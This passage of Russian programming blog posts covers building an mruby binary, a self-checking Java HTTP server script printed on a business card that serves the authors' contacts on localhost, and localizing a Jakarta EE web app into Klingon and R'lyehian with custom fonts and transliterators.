Все что тут происходит это просто выдача байткода интерпретатору mruby при запуске обертки. Обратите внимание на строчку:

#include <test.c>

Это и есть включение файла с байткодом mruby.

Ну и наконец сборка конечного тестового приложения:

gcc -std=c99 -static -Os -s -I/opt/work/mruby-yeah/mruby/include -I. test_stub.c -o test_program /opt/work/mruby-yeah/mruby/build/host/lib/libmruby.a -lm -lpthread

Если все пройдет успешно, в текущей папке появится финальный бинарник test_program, который я запускал в самом начале.

Эпилог

Думаю изложенного материала хватит для того чтобы те из читателей, кто занимается встраиваемыми системами попробовали MRuby для своих задач, благо автору данная штука видится крайне перспективной.

Также как и правительству Японии, которая этот проект финансирует.

Просто потому что убирает целый класс проблем, связанных с разработкой прикладных систем на чистом Си — управление памятью, юникод, строки и так далее.

С нетерпением жду отзывов о реальном использовании.

P.S.

Статья была опубликована на Хабре, оригинал которой доступен в нашем блоге.

Показать полностью 5
6

Сервер на визитке

Серия Жестокие эксперименты

Рассказываю как мы сделали самые крутые визитки на Диком Западе в отечественной ИТ-индустрии.

Внимание на код - он полностью рабочий!

Внимание на код - он полностью рабочий!

Все началось когда автор наткнулся на одну интересную статью где эксперт по 3D-технологиям вместил специально оптимизированный и обфусцированный код рейтрейсера на C++ в размеры своей визитки.

Вот такой код:

#include <stdlib.h> // card > aek.ppm
#include <stdio.h>
#include <math.h>
typedef int i;typedef float f;struct v{
f x,y,z;v operator+(v r){return v(x+r.x
,y+r.y,z+r.z);}v operator*(f r){ return
v(x*r,y*r,z*r);}f operator%(v r){return
x*r.x+y*r.y+z*r.z;}v(){}v operator^(v r
){return v(y*r.z-z*r.y,z*r.x-x*r.z,x*r.
y-y*r.x);}v(f a,f b,f c){x=a;y=b;z=c;}v
operator!(){return*this*(1/sqrt(*this%*
this));}};i G[]={133022, 133266,133266,
133022, 254096, 131216, 131984, 131072,
258048,};f R(){return(f)rand()/RAND_MAX
;}i T(v o,v d,f&t,v&n){t=1e9;i m=0;f p=
-o.z/d.z; if(.01<p)t=p, n=v(0,0,1),m=1;
for(i k=19;k--;)for(i j=9;j--;)if(G[j]&
1<<k){v p=o+v(-k,0,-j-4);f b=p%d,c=p%p-
1,q=b*b-c;if(q>0){f s=-b-sqrt(q);if(s<t
&&s>.01)t=s,n=!(p+d*t),m=2;}}return m;}
v S(v o,v d){f t;v n;i m=T(o,d,t,n);if(
!m)return v(.7,.6,1)*pow(1-d.z,4);v h=o
+d*t,l=!(v(9+R(),9+R(),16)+h*-1),r=d+n*
(n%d*-2);f b=l%n;if(b<0||T(h,l,t,n))b=0
;f p=pow(l%r*(b>0),99);if(m&1){h=h*.2;
return((i)(ceil(h.x)+ceil(h.y))&1?v(3,1
,1):v(3,3,3))*(b*.2+.1);}return v(p,p,p
)+S(h,r)*.5;}i main(){printf("P6 512 "
"512 255 ");v g=!v(-6,-16,0),a=!(v(0,0,
1)^g)*.002,b=!(g^a)*.002,c=(a+b)*-256+g
;for(i y=512;y--;)for(i x=512;x--;){v p
(9,9,9);for(i r=64;r--;){v t=a*(R()-.5)
*99+b*(R()-.5)*99;p=S(v(17,16,8)+t,!(t*
-1+(a*(R()+x)+b*(y+R())+c)*16))*3.5+p;}
printf("%c%c%c",(i)p.x,(i)p.y,(i)p.z);}}

После компиляции:

c++ -O3 -o card card.cpp

Генерировал у автора вот такую картинку:

Мы позеленели от зависти тоже захотели себе что-то такое, но поскольку занимаемся все же серверами а не 3D-графикой и больше Java, чем C++ — решили что будет круто уместить на обратной стороне нашей визитки простейший HTTP-сервер на Java.

Вместе с запуском и компиляцией.

Еще при наличии графического окружения будет запущен браузер.

Плюс немного криптографии для защиты от подделки.

Весь код уместился в 18 строк, выровненных по ширине так чтобы влезть в размеры визитки:

Вбиваете код с визитки в любимый редактор, сохраняете файл как vcard.sh и запускаете:

chmod +x ./vcard.sh
./vcard.sh

Результат:

FreeBSD 14 и Java 17

FreeBSD 14 и Java 17

Solaris (OpenNexenta) и JDK 22

Solaris (OpenNexenta) и JDK 22

Ubuntu и Java 1.8

Ubuntu и Java 1.8

Локально запустится простейший HTTP-сервер, который отдаст текстовую страничку с нашими контактами. При наличии GUI  — запустится еще и браузер по-умолчанию, с автоматическим открытием страницы этого сервера.

И все это в 18 строк кода.

Да, еще будет нужен любой Linux/BSD/MacOS/Solaris и любая версия JDK начиная с 1.8 на машине.

Поддержку запуска на Windows делать не стал (хотя это и возможно технически), но можно спокойно запустить в WSL .

Чтобы вы не мучились с вводом кода с картинки, вот текстовая версия:

#!/bin/sh
t=$(mktemp -d);e=$(realpath $0);sed '1,4d' $0|sed -e 's/p /public /g ; s/i /import /g' \
-e 's/j\./java./g ; s/E!/Exception/g ; s/U8!/UTF-8/g ; s/RE?/ResponseHeaders/g'>$t/Yo.java
cd $t;javac -XDignore.symbol.file -cp . Yo.java && java -cp . Yo $e;exit 0
i com.sun.net.httpserver.*;i j.awt.Desktop;i j.io.*;i j.util.*;i j.net.*;i j.nio.file.*;
i java.security.MessageDigest;i javax.crypto.Cipher;i javax.crypto.spec.SecretKeySpec;
p class Yo{p static void main(String[]args)throws E!{Cipher dcipher=Cipher.getInstance("AES");
dcipher.init(2,new SecretKeySpec(Arrays.copyOf(MessageDigest.getInstance("SHA-1").digest(
new String(Files.readAllBytes(Paths.get(args[0]))).replaceFirst("ED=\"([^<]*)\";","")
.trim().getBytes()),16),"AES"));String ddata=new String(dcipher.doFinal(Base64.getDecoder()
.decode(ED)),"U8!");int p=8000;String h="0x7f000001";HttpServer s=HttpServer.create()
.createContext("/",(HttpExchange t)->{String r=String.format(ddata,System.nanoTime());t.getRE?()
.set("Content-type","text/plain;charset=U8!");t.sendRE?(200,r.getBytes("U8!").length);
try(OutputStream os=t.getResponseBody()){os.write(r.getBytes("U8!"));}}).getServer();
s.bind(new InetSocketAddress(p),1);new Timer().schedule(new TimerTask(){public void run(){
if(!Desktop.isDesktopSupported()){System.out.println(ddata);return;}try{Desktop.getDesktop()
.browse(new URI("http://"+h+":"+p));}catch(E! e){throw new RuntimeE!(e);}}},2000);s.start();}
static String ED="TfPrCIlXEUInGJPpr4++hQfa2Whq4RFzdbFP5C4s/s8=";}

Ну разве не прелесть?

Как это работает

Тут используется связка из заголовочного shell-скрипта и слегка обфусцированного кода на Java. Еще я не стал кодировать весь блок на Java полностью в HEX-строку, чтобы визуально оставалось ощущение исходного кода.

Начнем с заголовочного скрипта:

#!/bin/sh
t=$(mktemp -d);e=$(realpath $0);sed '1,4d' $0|sed -e 's/p /public /g ; s/i /import /g' \
-e 's/j\./java./g ; s/E!/Exception/g ; s/U8!/UTF-8/g ; s/RE?/ResponseHeaders/g'>$t/Yo.java
cd $t;javac -XDignore.symbol.file -cp . Yo.java && java -cp . Yo $e;exit 0

Самая первая строчка:

#!/bin/sh

Это shebang, стандартное для Unix указание на используемый интерпретатор, про него и так все знают. Дальше происходит создание временного каталога в /tmp и присваивание его имени переменной в скрипте:

t=$(mktemp -d);

Затем получение скриптом собственного имени с полным путем:

e=$(realpath $0);

Чтение скриптом самого себя, с отрезанием первых 4х строк - чтобы получить блок кода на Java:

sed '1,4d' $0

Дальше начинается pipe, в котором результат предыдущей команды передается на вход следующей:

|sed -e 's/p /public /g ; s/i /import /g' \
-e 's/j\./java./g ; s/E!/Exception/g ; s/U8!/UTF-8/g ; s/RE?/ResponseHeaders/g'>$t/Yo.java

Результат всех преобразований записывается в файл Yo.java, в том самом временном каталоге.

Малоизвестная опция -XDignore.symbol.file отключает предупреждение об использовании системных классов JDK (com.sun.net.httpserver.*) в проекте — в 1.8 версии классы встроенного в JDK HTTP-сервера еще считались системными.

Запуск с передачей полного пути оригинального скрипта для последующего его чтения из Java-кода:

java -cp . Yo $e

Сам код после деобфускации и форматирования выглядит уже вот так:

import com.sun.net.httpserver.*;
import java.awt.Desktop;
import java.io.*;
import java.util.*;
import java.net.*;
import java.nio.file.*;
import java.security.MessageDigest;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Yo {
public static void main(String[] args) throws Exception {
Cipher dcipher = Cipher.getInstance("AES");
dcipher.init(2,
new SecretKeySpec(Arrays.copyOf(
MessageDigest.getInstance("SHA-1").digest(
new String(Files.readAllBytes(Paths.get(args[0])))
.replaceFirst("ED=\"([^<]*)\";", "")
.trim().getBytes()), 16), "AES"));
String ddata = new String(dcipher.doFinal(Base64.getDecoder()
.decode(ED)), "UTF-8");
int p = 8000;
String h = "0x7f000001";
HttpServer s = HttpServer.create()
.createContext("/", (HttpExchange t) -> {
String r = String.format(ddata, System.nanoTime());
t.getResponseHeaders()
.set("Content-type", "text/plain;charset=UTF-8");
t.sendResponseHeaders(200, r.getBytes("UTF-8").length);
try (OutputStream os = t.getResponseBody()) {
os.write(r.getBytes("UTF-8"));
}
}).getServer();
s.bind(new InetSocketAddress(p), 1);
new Timer().schedule(new TimerTask() {
public void run() {
if (!Desktop.isDesktopSupported()) {
System.out.println(ddata);
return;
}
try {
Desktop.getDesktop()
.browse(new URI("http://" + h + ":" + p));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}, 2000);
s.start();
}
static String ED = "1AtzGU0uq7J7DHPdjdJJ5JJDiwQi8mElIDOjuRK0DEU=";
}

Тут уже большая часть логики вполне очевидна, поэтому раскрою лишь два самых сложных фрагмента.

Криптография

Когда я только начинал думать над реализацией этой штуки, уже было ясно что нужен какой-то неочевидный контроль целостности:

исходный код очевидно будут пересылать через сообщения, в виде постов или по почте, что легко его сломает.

Поэтому хотелось хоть какую-то защиту от подделки содержимого, чтобы компьютерные дети не добавили патч Брамина в самое интересное место, а индийский паренек не подменил авторство и мои контакты на свои, ради строчки в резюме.

Задачу усложнял факт передачи открытых исходников и ограничение по размерам, но видимо получилось:

static String ED = "1AtzGU0uq7J7DHPdjdJJ5JJDiwQi8mElIDOjuRK0DEU=";

Именно тут находится текст:

We write software. @alex0x08

На каждую попытку как-то подменить содержимое (включая заголовок) будет выдаваться вот такая ошибка:

Exception in thread "main" javax.crypto.BadPaddingException: Given final block not properly padded. Such issues can arise if a bad key is used during decryption. at java.base/com.sun.crypto.provider.CipherCore.unpad(CipherCore.java:981) at java.base/com.sun.crypto.provider.CipherCore.fillOutputBuffer(CipherCore.java:1062) at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:853) at java.base/com.sun.crypto.provider.AESCipher.engineDoFinal(AESCipher.java:446) at java.base/javax.crypto.Cipher.doFinal(Cipher.java:2202) at Yo.main(Yo.java:6)

Получается код сам себя защищает от подделки.

0x7f000001

Вторым неочевидным моментом является вот такой странный адрес хоста:

String h = "0x7f000001";

Который используется при формировании ссылки для открытия браузером:

Desktop.getDesktop().browse(new URI("http://" + h + ":" + p));

Такое применение однозначно говорит о том что адрес очень даже стандартный, поскольку проходит как стадию валидации на стороне Java при формировании объекта URI, так и валидацию на стороне запускаемого браузера.

Это просто нотация, вариант написания IP-адреса 127.0.0.1, обозначающего loopback (петлю) — внутренний интерфейс, к которому можно подключиться локально, а не из сети.

Вот тут больше примеров различных вариантов написания IP-адресов, уверен — удивит даже бывалых админов.

P.S.

Статья была опубликована на Хабре, более фривольный оригинал статьи находится в нашем блоге, где мы подробно рассказываем об ужасах разработки, вгоняя в краску даже опытных и бывалых.

Показать полностью 5
13

Нереальная локализация

Серия Жестокие эксперименты

Буднично рассказываю как локализовать обычное корпоративное приложение на нечеловеческие языки: Клингонский и Р’льех.

На этом скриншоте куда больше реального приложения чем кажется на первый взгляд.

На этом скриншоте куда больше реального приложения чем кажется на первый взгляд.

Эээ.. думаю стоит начать с демонстрации результата — той самой нереальной локализации, ради которой все это и затевалось, чтобы всем сразу "все стало понятно".

Так выглядит версия на клингонском:

Обратите внимание на даты — это настоящий <a href="https://pikabu.ru/story/nerealnaya_lokalizatsiya_14159941?u=https%3A%2F%2Fmemory-alpha.fandom.com%2Fwiki%2FStardate&t=Stardate&h=c2728db0c7e9a3931a667e730ed3cbe9c85149e1" title="https://memory-alpha.fandom.com/wiki/Stardate" target="_blank" rel="nofollow noopener">Stardate</a>.

Обратите внимание на даты — это настоящий Stardate.

А вот так выглядит версия на Р'льех:

«Cthulhu fhtagn!» на JSF, CDI и JPA. Сложно сказать какая часть предложения напугает сильнее.

«Cthulhu fhtagn!» на JSF, CDI и JPA. Сложно сказать какая часть предложения напугает сильнее.

Ну и наконец банальный английский:

Вот так выглядит в работе переключение локализации:

Да, это самое обычное веб-приложение на Java, работающее в обычном браузере.

Но только с локализацией на клингонский и Р'льех.

Матчасть

Чтобы вы смогли оценить сложность задачи «локализации на язык которого нет», стоит для начала рассказать как происходит обычная локализация — на обычные человеческие языки.

Возьмем для примера классику в виде русско‑английской локализации, вот что необходимо реализовать в этом случае:

  • Определение текущей локали

  • Переключение локали

  • Хранение локализованных строк

  • Отображение локализованных данных

Данный функционал подразумевается как минимальный, когда речь заходит о локализации ПО, причем большая часть всей этой логики уже реализована в любом современном инструментарии и все что нужно сделать для поддерживаемых языков — «включить и использовать».

Вот так например выглядит хранение локализованных строк:

Это абсолютно стандартный способ, поддерживаемый как самим JDK так и всем прикладным ПО на Java

Это абсолютно стандартный способ, поддерживаемый как самим JDK так и всем прикладным ПО на Java

Также легко и просто оперировать обычным человеческим языком со стороны прикладного кода, например вот так выглядит получение локали из кодового названия:

Locale locale = Locale.forLanguageTag("en_US");

Где en — это указание на английский а US — на страну США.

Не менее легко происходит и переключение между языками (в данном случае в Jakarta Faces):

FacesContext.getCurrentInstance().getViewRoot().setLocale(locale);

Но вся эта благодать быстро заканчивается, стоит только выйти за границу реальности поддерживаемых локалей и попытаться использовать «то чего нет».

Язык которого нет

Символы несуществующих фантастических языков предсказуемо отсутствуют в официальной таблице символов Unicode, их нет в списке поддерживаемых средствами разработки и нет в браузере.

Что означает невозможность какой-либо работы «из коробки» с таким языком — без специальных шагов.

Но прежде хотелось бы немного рассказать о самих фантастических языках, выбранных для локализации — чтобы у вас появилось некоторое представление куда может завести фанатизм и любовь к хардкору.

Клингонский

Фантастический, полностью выдуманный сценаристами сериала Star Trek язык расы инопланетян еще в 70х оказался невероятно популярным. Популярным настолько, что ныне существует целый институт, посвященный изучению вымышленного языка:

Институт клингонского языка (англ. the Klingon Language Institute, KLI) — независимая организация в Пенсильвании, США. Её цели — поддержка и развитие клингонского языка и клингонской культуры, представленных в вымышленной вселенной киносериала «Звёздный путь». Она поддерживается Paramount Pictures.

В мире где настоящие человеческие языки отмирают по сотне в день по мере ухода из жизни последних носителей, кто-то специально учит вымышленный!

Поскольку большинство фанатов клингонского — самые разнообразные гики, хорошо дружащие с техникой и матчастью, было и есть множество попыток протащить вымышленный язык куда только можно.

Например в ядро Linux:

In September 1997, Michael Everson made a proposal for encoding KLI pIqaD in Unicode, based on the Linux kernel source code. The Unicode Technical Committee rejected the Klingon proposal in May 2001

В официальный набор символов Unicode (линк):

September 1997: first Unicode proposal for pIqaD.1
May 2001: Rick McGowan submits Proposal to Reject Klingon
May 2001: Proposal to reject Klingon adopted by UTC (minutes)
November 2016: New Proposal for Encoding Klingon, showing lots of examples of usage
July 2020: Another New Proposal for Encoding Klingon. This one uses the correct “Klingon” names for the letters.
August 2021: Request to Remove Klingon from Non-Approval List, made in accordance with Ken Whistler’s suggestion from 2016, linked above.

Как видите фанаты "Star Trek" крайне упертые товарищи, которые уже второй десяток лет продолжают упорно осаждать двери офиса по адресу:

611 Gateway Blvd.
Suite 120

в Сан‑Франциско CA 94 080, где и располагается «The Unicode Consortium». Кстати вы также можете позвонить в консорциум Unicode на их офисный номер:

+1-408-401-8915

и поинтересоваться почему клингонский до сих пор не включен в официальный набор символов — дело же важное.

Удивительно (или нет), но в Microsoft тоже любят клингонский, настолько что добавили его поддержку в свой онлайн-переводчик:

Именно его я использовал для клингонского перевода.

Именно его я использовал для клингонского перевода.

При таком интересе технически продвинутой общественности, очень быстро появились готовые TTF-шрифты, использующие PUA область:

Since then several fonts using that encoding have appeared, and software for typing in pIqaD has become available

Это важный момент, поскольку такой шрифт позволяет комбинировать символы клингонского со всеми остальными, например одним шрифтом можно отобразить и английский и клингонский.

Вот так выглядит клингонский алфавит:

Обратите внимание на соответствие одного глифа клингонского сразу нескольким на английском — это влияет на реализацию транслятора (см. ниже).

Обратите внимание на соответствие одного глифа клингонского сразу нескольким на английском — это влияет на реализацию транслятора (см. ниже).

Р'льех

С языком древних Р’льех все обстоит куда проще — этот также полностью выдуманный язык, приверженцы которого живут под водой и к счастью мало интересуются продвижением своего фантастического языка в широкие массы.

С названием есть небольшая неточность:

Cthuvian, which is also called R'lyehian, is a fictional language created by H. P. Lovecraft in "The Call of Cthulhu" and expanded upon by various authors.

Дословный перевод — «ктулхский» или «р'льехский», что (да простят меня подводные боги) показалось не очень благозвучным.

Поэтому я использовал термин Р'льех, который на самом деле означает иное:

Р’льех или Р'лайх (англ. R’lyeh) — вымышленный город, впервые упомянутый Говардом Филлипсом Лавкрафтом в рассказе «Зов Ктулху» (1928)[1]. С тех пор Р’льех стал неотъемлемой частью мифологии Лавкрафта и Мифов Ктулху. Р’льех описан в «Некрономиконе» Лавкрафта и «Cthaat Aquadingen» Брайана Ламли.

Алфавит выглядит как-то так:

Н'ЯРЛАФОТЕП — отличное название для нового проекта, не находите?

Н'ЯРЛАФОТЕП — отличное название для нового проекта, не находите?

Доступные TTF-шрифты для Р'льех не используют PUA-область Unicode, поэтому применение такого шрифта превратит все символы в месиво:

Обратите внимание на поле ввода - текст в нем визуально на Р'льех, хотя введены символы английского.

Обратите внимание на поле ввода - текст в нем визуально на Р'льех, хотя введены символы английского.

Но если переключиться на клингонский, будет виден ввод символов на нормальных языках:

В этом и заключается главная сила PUA-области и ее главная фишка.

Будете создавать локализацию на древнеегипетский или руническое письмо викингов — обязательно используйте шрифт с PUA-областью.

Так выглядит проект из среды разработки.

Так выглядит проект из среды разработки.

Тестовый проект

Для статьи был специально выбран самый «тру‑энтерпрайз» стек, чтобы показать насколько далеко продвинулись технологии локализации. Это не какие-то околонаучные экспериментальные языки или малоизвестные специализированные фреймворки и не дикий «low level» с песьеголовыми программистами на С, это самый настоящий технологический мейнстрим — тот вид разработки и набор технологий, с которыми вы (если занимаетесь разработкой) сталкиваетесь каждый день:

представьте любимый клиент-банк с локализацией на клингонском.

Разумеется будет много специфики именно для Java и выбранных технологий, но описанные идеи и подходы очень даже применимы и для большинства других языков и решений.

Вот что в меню:

JakartaEE 10, который в девичестве назывался JavaEE а в далеком детстве J2EE.

В качестве сервера приложений был взят IBM OpenLiberty — современный открытый потомок большой IBM Websphere Application Server, который IBM ныне продвигает в светлое корпоративное будущее как платформу для разработки микросервисов.

Технически тестовый проект представляет собой веб‑приложение (WAR), которое разворачивается на сервере приложений и по полной использует его ресурсы — все как в золотые годы JavaEE.

Но чтобы не загонять читателей в классические мытарства с установкой и развертыванием — был добавлен автозапуск приложения с автоматическим развертыванием (как в Spring Boot).

Внутри классика корпоративной разработки:

JPA, CDI, JSF и новое Servlet API 6 — уже полностью на аннотациях.

Все прямо как на настоящей работе в банке, где деньги платят.

И сейчас мы будем локализовывать все это на выдуманный язык из фантастического сериала 1970х.

Но прежде опишу стандатное — сборку и запуск.

Сборка

Для сборки используется обычный Apache Maven и последняя версия JDK (22+), забираем проект из репозитория:

git clone https://github.com/alex0x08/javaee-klingon.git

Затем запускаем сборку:

mvn clean package

Готовое приложение будет находиться в каталоге target:

В каталоге liberty находится распакованный сервер приложений Open Liberty, с установленным внутрь нашим приложением — за все эти радости отвечает специальный плагин (см. ниже).

Запуск

Как уже упоминалось выше, наш замечательный проект предназначен для запуска и работы на сервере приложений IBM Open Liberty.

Разумеется вы можете сходить по ссылке выше, прокрутить страницу вниз до раздела Releases, скачать версию 24.0.0.6+ с профилем Jakarta EE 10, развернуть и затем установить туда наше приложение.

Для настоящего развертывания в корпоративной среде обычно и делают. По крайней мере делали до эры докера.

Но поскольку у нас тут технологическое демо, я посчитал что все эти шаги по развертыванию будут слишком сложными и добавил в сборку специальный плагин для автоматического развертывания и запуска.

Одной командой:

mvn liberty:dev

Произойдет скачивание IBM Open Liberty, распаковка, настройка, установка внутрь нашего приложения и немедленный запуск.

Вот так это выглядит из среды разработки Intellj Idea:

После запуска открываем страницу:

http://localhost:9080/kligonweb-1.0.1-RELEASE/guestbook.xhtml

и наслаждаемся.

Вот эти ребята. <a href="https://pikabu.ru/story/nerealnaya_lokalizatsiya_14159941?u=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FUSS_Voyager_%28Star_Trek%29&t=USS%20Voyager&h=4e2c603d3284b5f0ad1f6b398354843c84dd77b3" title="https://en.wikipedia.org/wiki/USS_Voyager_(Star_Trek)" target="_blank" rel="nofollow noopener">USS Voyager</a> c командой.

Вот эти ребята. USS Voyager c командой.

Отображение

Начну с самого главного вопроса — с отображения символов несуществующего фантастического языка. Взгляните:

Нет это не галлюцинации или фотошоп, это установленный правильный TTF-шрифт клингонского в системе.

Нет это не галлюцинации или фотошоп, это установленный правильный TTF-шрифт клингонского в системе.

На скриншоте выше стандартный gedit, в настройках которого был задан клингонский шрифт для отображения основной части. Как видите использование PUA‑области Unicode в шрифте позволяет неплохо дружить символы обычного и фантастического языков.

Если приглядитесь — увидите сглаживание, работающее даже для глифов клингонского.

К сожалению для Р'льех не нашлось шрифта, использующего PUA‑область Unicode, поэтому при отображении происходит замена всех символов глифами Р'льех:

Тут все служат подводным богам, без исключений.

Тут все служат подводным богам, без исключений.

К сожалению нехватило времени для разработки с нуля шрифтов двух несуществующих языков, поэтому были взяты готовые.

Для клингонского:

Klingon pIqaD Mandel takes the Klinzhai or Mandel font glyphs (really a different alphabet from the KLI’s Standard pIqaD) and refits them for use as pIqaD.

и еще один для Р'льех:

I created this font based on the description by H.P. Lovecraft. Click here to download the Rlyehian font package, which includes two version of the font and a guide to understanding its use.

Но для полноты картины, все же расскажу как происходит разработка новых шрифтов, если вдруг вам понадобится локализовать проект скажем на дотракийский.

FontForge

Уже достаточно давно и успешно существует отличный открытый редактор шрифтов:

FontForge is a FOSS font editor which supports many common font formats. Developed primarily by George Williams until 2012, FontForge is free software and is distributed under a mix of the GNU General Public License Version 3 and the 3-clause BSD license.[2] It is available for operating systems including Linux, Windows,[3] and macOS,[4] and is localized into 12 languages

Редактор мощный и доступный практически для любых ОС — его возможностей точно хватит с запасом, по крайней мере для стадии прототипирования и любительской работы со шрифтами.

Вот так выглядит клингонский шрифт, открытый в этом редакторе:

Обратите внимание на фразу «Private Use Area» — она означает что глифы клингонского расположены именно в PUA&#x2011;области.

Обратите внимание на фразу «Private Use Area» — она означает что глифы клингонского расположены именно в PUA‑области.

Вот так выглядит процесс редактирования отдельного символа:

Имейте ввиду что это долгий и утомительный процесс, особенно если речь про разработку шрифта с нуля.

Имейте ввиду что это долгий и утомительный процесс, особенно если речь про разработку шрифта с нуля.

А вот так для сравнения выглядит шрифт для Р'льех:

Как видите тут не используется PUA и заменяются символы ASCII, с самого начала таблицы.

Как видите тут не используется PUA и заменяются символы ASCII, с самого начала таблицы.

Для полного погружения, вот так выглядит редактирование одного из этих стильных глифов:

И ведь кто-то сидел и рисовал это. Воистину воля подводных богов безгранична.

И ведь кто-то сидел и рисовал это. Воистину воля подводных богов безгранична.

Разумеется, можно было потратить какое‑то время и перенести глифы Р'льех в PAU‑область, что позволило бы использование шрифта по аналогии с клингонским — параллельно с другими языками.

Но к сожалению я не верю в Ктулху обладаю достаточным запасом времени и сил, так что оставил как есть.

На самом деле есть еще одна важная причина — показать вам два подхода к локализации, а не один:

второй вариант реализации шрифта с полной заменой всех символов на безумные иероглифы чем-то фантастическим (без использования PAU-области) встречается куда чаще.

Его точно стоит учитывать, поскольку скорее всего именно с таким шрифтом вы и столкнетесь, пытаясь работать с фантастическими языками.

Отображение в браузере

Отдельно опишу как происходит отображение этих фантастических языков в браузере — поскольку мы используем веб, а не отдельное десктоп-приложение.

Все современные браузеры поддерживают регистрацию и использование пользовательских шрифтов на странице — это мягко говоря не новость.

Регистрация TTF‑шрифта происходит путем использования CSS‑стиля и специальной директивы font‑face:

@font-face {
font-family: 'Klingon';
src: url("#{resource['Klingon-pIqaD-Mandel.ttf']}");
}
@font-face {
font-family: 'Rlyeh';
src: url("#{resource['Rlyehian.ttf']}");
}

Сложно выглядящая директива #resource[''] на самом деле уже часть парсера страниц JSF — EL-выражение, преобразующее относительный путь к указанному ресурсу в полный.

А вот так выглядит задание отдельных стилей для использования наших фантастических шрифтов:

.klingon {
font-family: 'Klingon';
}

Эти стили применяются выборочно, для включения фантастического шрифта при включенной перекодировке у сообщения:

<p class="card-text">
<h:outputText value="#{record.message}"
styleClass="#{record.translateKlingon ? 'klingon' : ''}"/>
</p>

Если сообщение было написано на клингонском pIqaD — оно будет пропущено через транслятор (см. ниже) и при отображении будет использован клингонский TTF‑шрифт.

Таким образом сохраняется обратная совместимость с другими языками и остается возможность ввода на обычном английском.

Но это решение только для отдельных блоков сообщений, ведь есть еще глобальное переключение выбранной локали:

Для решения этой задачи, используется вот такая логика:

<h:outputStylesheet
name="style-klingon.css"
rendered="#{i18n.locale.variant eq 'KLINGON'}"/>
<h:outputStylesheet
name="style-rlyeh.css"
rendered="#{i18n.locale.variant eq 'RLYEH'}"/>

Суть ее в том что в зависимости от «variant» выбранной локали (см. ниже) подгружается тот или иной глобальный стиль:

* {
font-family: 'Klingon', sans-serif;
}
body {
background-image: url('klingon.jpg.xhtml');
}

Звездочка (*) означает что указанный шрифт должен быть применен ко всем элементам на странице, что и дает вот такой эффект глобальной локализации всего:

Также тут задается фоновая картинка в немного странном формате:

klingon.jpg.xhtml

На самом деле файл называется klingon.jpg и находится в каталоге webapp/resources, а постфикс .xhtml — особенность работы ресурсов в JSF, он нужен для правильной работы, хотя и выглядит полной дичью.

Переходим к следующей важной теме.

Транслятор

При локализации на несуществующий и неподдерживаемый язык существует еще одна проблема:

необходимо как-то работать с локализованным на такой язык текстом из стандарного окружения.

Конечно можно попробовать ставить шрифты, поддерживающие ваш фантастический язык в каждый используемый редактор, каждый терминал и среду разработки — да, это будет работать (см. ниже).

Но с точки зрения промышленной разработки это плохой путь — любая ошибка приведет к тому что вы не сможете увидеть локализованный текст вообще, либо он будет отображаться неправильно.

Если очень повезет, то пойдя этим путем можно получить что-то такое:

Круто, но слишком сложно и не подходит для массовой разработки — когда задействовано много разработчиков.

Круто, но слишком сложно и не подходит для массовой разработки — когда задействовано много разработчиков.

Есть способ лучше. Дело в том что ни один, даже трижды фантастический язык не существует в вакууме — для него в обязательном порядке создается:

Транслитера́ция (лат. trans- «через; пере-» + littera — «буква») — точная передача знаков одной письменности знаками другой письменности[1][2], при которой каждый знак (или последовательность знаков) одной системы письма передаётся соответствующим знаком (или последовательностью знаков) другой системы письма.

Даже если речь про например дотракийский — выдуманный сценаристами язык кхала Дрого из «Игры Престолов», к нему все равно в качестве приложения идет транслитерация на английском — актерам надо как-то учить произношение.

Более того, такая транслитерация существует и для самих человеческих языков, причем видимо для всех (исключений пока не встречал).

Например есть широко известный вариант написания кириллицы с помощью символов латиницы:

kotorii nazyvayetsa 'translit'

Нет людей в рунете старше 30ти, которые бы его никогда не видели.

Собственно транслит встречается до сих пор — стоит только сломаться мультиязычному вводу на вашем компьютере или телефоне и все — вам тоже придется его использовать.

Именно транслитерацию в латинские символы мы и будем использовать.

Да это «Гамлет» на клингонском — а что вы знаете о фанатизме?

Да это «Гамлет» на клингонском — а что вы знаете о фанатизме?

pIqaD

Вариант написания клингонского латинскими символами называется pIqaD, конечно же он куда более широко распространен и популярен чем те сложные клингонские иероглифы, которые я с таким трудом отображал выше.

Настолько популярен, что есть даже «Гамлет» в переводе на клингонский, где используется pIqaD-транслитерация:

Думаю не стоит упоминать, что при такой популярности есть и устоявшиеся правила транслитерации и (что куда более важно) — готовые наработки. Очень быстро были найдены и готовые трансляторы, самый популярный (из открытых) выглядит вот так:

На основе его исходного кода (на Javascript) была написана моя реализация на Java, с помощью которой вот такие строковые ресурсы:

Превращаются во время работы приложения в те самые фантастические иероглифы:

Полный код реализации можно посмотреть вот тут.

Как видите тут происходит достаточно простая замена символов согласно таблице подстановки, с латинских на Unicode из PAU‑области — все внешне сложное, на самом деле устроено очень просто.

Один из немногих оригиналов документов на Р'льех.

Один из немногих оригиналов документов на Р'льех.

К сожалению (или к счастью — в зависимости от контекста), фантастический язык Р’льех из миров Лавкрафта куда менее популярен, поэтому получилось найти всего один рабочий транслятор:

Using the digital serpent's package, you can translate english to the language of the "old ones" Spread aimgr'luh

Занимается им некий китайский DevOps-инженер (надеюсь не в рамках должностных обязанностей), сам транслятор и написан на Python:

python test.py -t "I pray to the mother of skin"

Важным моментом является другой принцип работы — вместо транслитерации символов происходит подстановка слов или даже целых фраз:

Вся логика была портирована в мой проект, мою реализацию транслятора для Р'льех можно посмотреть вот тут. Разумеется с таким подходом в виде зашитого и очень небольшого словаря, нет возможности реализовать перевод технических терминов:

у меня честно нет идей как могут выглядеть слова «Авторизация», «Назад» или «Сохранить» на языке древних.

Поэтому транслятор Р’льех используется только для ввода текста — чтобы найти истинных последователей показать как это работает.

Но перейдем к следующей интересной теме.

Нереальная локаль

Следующей проблемой при работе с фантастическими языками является их регистрация в системе — в том языке, платформе или фреймворке, который вы используете.

Это нужно в первую очередь для того, чтобы как‑то сигнализировать внутри приложения о том что используется такой фантастический язык и проводить соответствующую подстройку — например вызывать тот самый транслятор, описанный выше.

Тут может быть огромное количество вариантов, проблем и подводных камней, поскольку такой разработкой мы выходим за рамки обыденного поддерживаемого. И при возникающих проблемах вам скорее всего никто не поможет — кроме нас разумеется.

Но для Java весь процесс более-менее отработан, описан и предсказуем:

в Java у локалей есть поддержка т. н. «variant» — специальной вариации языка, которая может быть сколь угодно нестандартной.

